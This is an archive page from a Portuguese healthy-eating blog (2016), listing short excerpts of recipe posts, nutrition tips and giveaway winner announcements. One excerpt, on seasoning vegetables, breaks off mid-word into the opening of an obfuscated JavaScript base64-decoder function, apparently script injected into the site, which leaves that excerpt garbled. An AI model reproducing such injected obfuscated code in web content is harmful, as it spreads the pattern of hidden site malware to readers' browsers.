Jun 22, 2016 | À descoberta, Receitas
3 Pequenos-almoços para manter a barriga lisa Reduzir ou evitar a gordura na zona abdominal passa por adotar rotinas saudáveis, como o bom sono, controlo do stress, exposição à luz solar (pela vitamina D), exercício físico e, claro, a alimentação. Toda a gente sabe...
Jun 19, 2016 | Passatempos, Passatempos
–// ACTUALIZAÇÃO EM 26 JUNHO 2016 ANÚNCIO DE VENCEDORES Os vencedores deste Passatempo são: 1) Gonçalo Marques 2) Gisela Oliveira 3) Marlene Gonçalves Muitos Parabéns aos 3! Peço a cada um que me envie uma mensagem na minha página de Facebook para combinarmos os...
Jun 12, 2016 | Apanhados na rede, Olha que giro
Cake design – bolos que são obras de arte Sim, eu sei que estou a fazer dieta e que tenho de resistir às tentações. Mas estes bolos são muito mais do que simples sobremesas… são verdadeiras obras de arte. O cake design está na moda. Aliar a confeção do bolo em...
Jun 11, 2016 | À descoberta, Receitas
3 receitas para piquenique, por Rita Malvar O verão está quase a chegar e já apetece passar bons momentos ao ar livre. Hoje sugerimos que agarre na cesta de piquenique, na manta xadrez e na família ou amigos, e se ponha a caminho de um lugar bonito, na natureza, para...
Jun 9, 2016 | À descoberta, Receitas
Overnight com manga, mirtilos e pudim de chia, por Luísa Fortes da Cunha. Ingredientes 1/2 Manga 1 Mão cheia de mirtilos 1 Iogurte grego ligeiro 1 Colher de sopa de sementes de chia Preparação: Overnight com manga, mirtilos e pudim de chia Comece por fazer o...
Jun 5, 2016 | Em Alta, Passatempos, Passatempos
–// ACTUALIZAÇÃO EM 12 JUNHO 2016 ANÚNCIO DE VENCEDORES As vencedoras deste Passatempo são: 1) Joana Areias 2) Rui Lopes 3) Ana Paula Cardoso Muitos Parabéns aos 3! Peço a cada um que me envie uma mensagem na minha página de Facebook para combinarmos os...
Jun 4, 2016 | À descoberta, Receitas
Vai ficar fã destas águas aromatizadas e adorar os muffins. receitas de Luísa Fortes da Cunha Águas aromatizadas Água aromatizada detox 1: com frutos vermelhos Ingredientes 1 Litro de água 4 Fatias de melancia 5 Rodelas de pepino Preparação Comece por cortar as...
Jun 1, 2016 | À descoberta, Receitas
3 sobremesas deliciosas por Rita Malvar Musse de abacate e cacau Uma musse de chocolate alternativa e 100% saudável. Apta a dietas vegetarianas. Duração: 10m Pessoas: 3-4 Ingredientes: 2 abacates 1 banana 2 c. (sobremesa) de xarope de ácer 4 tâmaras medjool 2 c....
Mai 31, 2016 | Equilíbrio, Saúde e bem estar
17 maneiras de dar aos vegetais e a outros alimentos um sabor delicioso Use mais especiarias: qufunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...
Mai 27, 2016 | Equilíbrio, Saúde e bem estar
Água aromatizada – 5 receitas por Dra. Rita Boavida, nutricionista A água aromatizada é uma combinação de água com ingredientes variados como frutas, vegetais, ervas aromáticas e especiarias. A preparação das águas aromatizadas consiste em adicionar, por...
